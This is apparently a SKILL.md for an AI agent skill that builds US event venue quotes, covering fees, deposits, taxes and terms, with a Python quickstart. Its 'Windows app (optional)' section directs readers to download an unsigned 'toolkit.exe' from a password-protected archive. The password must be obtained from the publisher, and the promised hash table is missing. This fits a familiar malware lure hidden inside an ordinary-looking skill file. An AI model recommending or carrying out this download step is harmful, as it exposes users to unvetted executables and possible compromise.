Event Venue Quote

Builds a US event venue quote with rental, fees, deposits, taxes and terms for weddings and private events. Written for US event venues, banquet halls and rental spaces preparing quotes.

Use this skill when someone asks for:

• venue quote
• event rental quote
• wedding venue estimate
• banquet hall quote

The job

Venues need clear quotes listing rental fees, service charges, deposits, taxes and what's included/excluded.

What you get

1. Collect event details: type, date, guest count, hours, spaces needed.
2. List rental fees, included items, required services, add-ons.
3. Add deposits, payment schedule, taxes, service charges and fees.
4. Include terms, restrictions, cancellation policy and insurance requirements.

Output contract:

• quote - spaces, times, rental fees
• included - what's included in base rental
• fees - deposits, service charges, taxes, fees
• terms - cancellation, liability, insurance, restrictions

US specifics that matter

• Event contracts should clearly state what's included; service charges and taxes vary by location.
• Some jurisdictions have specific rules about liquor licenses, insurance requirements or deposits.
• Cancellation policies should be in writing; terms vary by venue and state law may apply.

Guardrails (hard rules)

• Never guarantee dates/times not held in writing.
• Never promise services outside venue's license/capacity.
• Never include pricing for illegal activities or services not allowed.

Quickstart

1. Fill in the brief

templates/venue-quote.yaml is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/build_quote.py --input venue-quote.yaml --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/venue-quotes.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Quote components

• Space rental: hours, rate, overage fees.
• Included: tables/chairs, setup/cleanup, equipment.
• Additional: catering minimums, bar fees, decor, staffing.
• Fees: deposits, service charges, sales tax, gratuity.

Contract considerations

• Deposits: non-refundable portions should be stated clearly.
• Insurance: some venues require liability insurance.
• Restrictions: noise, decor, vendors, capacity limits.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/venue-quotes.md - US event venue quote elements
• templates/venue-quote.yaml - the brief to fill in
• scripts/build_quote.py - the working script

Verify the bundle

python3 scripts/build_quote.py --input venue-quote.yaml --out ./out

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